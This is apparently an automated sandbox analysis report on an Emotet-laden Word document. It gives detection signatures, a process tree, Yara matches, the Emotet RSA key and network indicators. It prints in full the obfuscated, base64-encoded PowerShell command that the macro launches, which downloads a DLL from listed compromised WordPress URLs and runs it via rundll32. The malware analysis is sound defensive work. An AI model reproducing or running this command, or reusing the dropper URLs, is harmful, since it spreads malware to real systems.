Loading ...

Play interactive tourEdit tour

Analysis Report bestand-8881014518 00944.doc

Overview

General Information

Sample Name:bestand-8881014518 00944.doc
Analysis ID:336501
MD5:8ce4185f17ed35f43462f2f44c1cfc3d
SHA1:9c6396150dd23a65c36e84af69e15543cedca4d2
SHA256:4425de724449dedb3b183a3bfd567f9d3449c2457a1e2fd695019b1b6227e035

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2308 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2288 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkAGUAJwArACcAcwAvACcAKQArACgAJwByACcAKwAnAGwAUgAvAEAAJwArACcAXQBhAG4AdwBbACcAKwAnADMAcwAnACsAJwA6AC8ALwBzAGEAawAnACkAKwAoACcAaAAnACsAJwBpAHMAdQBoACcAKwAnAGEAbgAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGEAcgBpAGoAZQAnACkAKwAoACcAZQB2AGkAawAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AQwB2AEcAJwApACsAKAAnAFUAJwArACcAagB2AEUALwBAAF0AJwArACcAYQBuAHcAWwAzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB6ACcAKwAnAGkAZQBmAGwAaQB4ACcAKQArACgAJwAuACcAKwAnAHQAZQBsAGUAJwArACcAcwBrACcAKwAnAG8AJwArACcAcABzAHQAbwByAGUALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYwAnACsAJwBnAGkAJwArACgAJwAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAEcAJwArACcAdAAzAFMALwBAACcAKQArACcAXQAnACsAJwBhAG4AJwArACgAJwB3AFsAJwArACcAMwAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwBzAG8AbQBhAG4AYQBwAC4AYwBvACcAKwAnAG0ALwB3AHAAJwArACcALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBQAC8AJwApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAF0AYQAnACsAJwBuAHcAJwApACsAJwBbACcAKwAnADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAAbABpAFQAIgAoACQAUQA5ADMASAAgACsAIAAkAEgAYwA2AGMANgB1AHkAIAArACAAJABIADgAOQBaACkAOwAkAEUANwA1AFYAPQAoACgAJwBJACcAKwAnADEANwAnACkAKwAnAFgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGoAawBlADAAbABlACAAaQBuACAAJABHAHIANgB4AF8AaABfACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABvAHcAYABOAGwATwBgAEEAYABEAGYASQBsAGUAIgAoACQAQwBqAGsAZQAwAGwAZQAsACAAJABXADcAaQBvADAAdwBnACkAOwAkAFIANQA1AFMAPQAoACcAQgAnACsAKAAnADYANgAnACsAJwBTACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFcANwBpAG8AMAB3AGcAKQAuACIAbABgAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADQAMwAxADIANgApACAAewAmACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIAJwApACAAJABXADcAaQBvADAAdwBnACwAKAAoACcAQwBvAG4AJwArACcAdAByAG8AJwApACsAKAAnAGwAJwArACcAXwBSAHUAJwApACsAJwBuAEQAJwArACcATABMACcAKQAuACIAdABgAE8AcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQAWgAwADAAUAA9ACgAKAAnAFIAOQAnACsAJwA0ACcAKQArACcASgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAOQAyAEkAPQAoACcAVQA4ACcAKwAnADkAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMQA3AE0APQAoACcASwA3ACcAKwAnADkAVQAnACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2452 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 1100 cmdline: POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkAGUAJwArACcAcwAvACcAKQArACgAJwByACcAKwAnAGwAUgAvAEAAJwArACcAXQBhAG4AdwBbACcAKwAnADMAcwAnACsAJwA6AC8ALwBzAGEAawAnACkAKwAoACcAaAAnACsAJwBpAHMAdQBoACcAKwAnAGEAbgAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGEAcgBpAGoAZQAnACkAKwAoACcAZQB2AGkAawAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AQwB2AEcAJwApACsAKAAnAFUAJwArACcAagB2AEUALwBAAF0AJwArACcAYQBuAHcAWwAzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB6ACcAKwAnAGkAZQBmAGwAaQB4ACcAKQArACgAJwAuACcAKwAnAHQAZQBsAGUAJwArACcAcwBrACcAKwAnAG8AJwArACcAcABzAHQAbwByAGUALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYwAnACsAJwBnAGkAJwArACgAJwAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAEcAJwArACcAdAAzAFMALwBAACcAKQArACcAXQAnACsAJwBhAG4AJwArACgAJwB3AFsAJwArACcAMwAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwBzAG8AbQBhAG4AYQBwAC4AYwBvACcAKwAnAG0ALwB3AHAAJwArACcALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBQAC8AJwApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAF0AYQAnACsAJwBuAHcAJwApACsAJwBbACcAKwAnADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAAbABpAFQAIgAoACQAUQA5ADMASAAgACsAIAAkAEgAYwA2AGMANgB1AHkAIAArACAAJABIADgAOQBaACkAOwAkAEUANwA1AFYAPQAoACgAJwBJACcAKwAnADEANwAnACkAKwAnAFgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGoAawBlADAAbABlACAAaQBuACAAJABHAHIANgB4AF8AaABfACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABvAHcAYABOAGwATwBgAEEAYABEAGYASQBsAGUAIgAoACQAQwBqAGsAZQAwAGwAZQAsACAAJABXADcAaQBvADAAdwBnACkAOwAkAFIANQA1AFMAPQAoACcAQgAnACsAKAAnADYANgAnACsAJwBTACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFcANwBpAG8AMAB3AGcAKQAuACIAbABgAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADQAMwAxADIANgApACAAewAmACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIAJwApACAAJABXADcAaQBvADAAdwBnACwAKAAoACcAQwBvAG4AJwArACcAdAByAG8AJwApACsAKAAnAGwAJwArACcAXwBSAHUAJwApACsAJwBuAEQAJwArACcATABMACcAKQAuACIAdABgAE8AcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQAWgAwADAAUAA9ACgAKAAnAFIAOQAnACsAJwA0ACcAKQArACcASgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAOQAyAEkAPQAoACcAVQA4ACcAKwAnADkAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMQA3AE0APQAoACcASwA3ACcAKwAnADkAVQAnACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2312 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2556 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2500 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vpdqbmffwwlyu\elrrcydsvvol.uui',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2676 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ygrfxgybds\jrwpxihfr.rob',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2828 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lydzwviczteg\jfrrzuskryo.byz',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2724 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wmhtpvmxcctn\ytalpvmidll.mdf',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2800 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Grdxtrtyl\kmtzbbgl.dxh',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2384 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wgsitvbdu\kifteejg.dsr',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 2960 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Extnaatd\rvydpsb.zwq',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 2948 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rvuszsgopfi\mtjvkbmtlk.dym',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 2252 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Oqhzdezq\bectafh.dff',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                            • rundll32.exe (PID: 1748 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Weiwdqzj\qfklela.qlk',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                              • rundll32.exe (PID: 1900 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vvjepckhx\flnsfzgm.bdf',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                • rundll32.exe (PID: 3000 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ikstsciju\uxbijfvp.mja',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000002.2098442031.00000000003A1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000012.00000002.2346389267.00000000003D1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000007.00000002.2095140776.0000000000240000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        0000000F.00000002.2108654595.00000000020A1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          0000000A.00000002.2099597236.00000000001B0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 21 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            13.2.rundll32.exe.240000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              9.2.rundll32.exe.2f0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                11.2.rundll32.exe.3a0000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  16.2.rundll32.exe.230000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    14.2.rundll32.exe.1b0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 31 entries

                      Sigma Overview

                      No Sigma rule has matched

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: https://fnjbq.com/wp-includes/rlR/Avira URL Cloud: Label: malware
                      Source: http://wap.zhonglisc.com/wp-includes/QryCB/Avira URL Cloud: Label: malware
                      Source: http://petafilm.com/wp-admin/4m/Avira URL Cloud: Label: malware
                      Source: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/Avira URL Cloud: Label: malware
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: petafilm.comVirustotal: Detection: 6%Perma Link
                      Source: http://petafilm.comVirustotal: Detection: 6%Perma Link
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: bestand-8881014518 00944.docVirustotal: Detection: 31%Perma Link
                      Source: bestand-8881014518 00944.docReversingLabs: Detection: 47%
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt,7_2_100011C0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree,7_2_100021F0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree,7_2_10002730
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
                      Source: global trafficDNS query: name: petafilm.com
                      Source: global trafficTCP traffic: 192.168.2.22:49165 -> 176.53.69.151:80
                      Source: global trafficTCP traffic: 192.168.2.22:49165 -> 176.53.69.151:80

                      Networking:

                      barindex
                      Potential dropper URLs found in powershell memoryShow sources
                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: http://petafilm.com/wp-admin/4m/
                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: http://givingthanksdaily.com/qlE/VeF/
                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: http://wap.zhonglisc.com/wp-includes/QryCB/
                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: https://fnjbq.com/wp-includes/rlR/
                      Source: powershell.exe, 00000005.00000002.2101156102.0000000003734000.00000004.00000001.sdmpString found in memory: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/
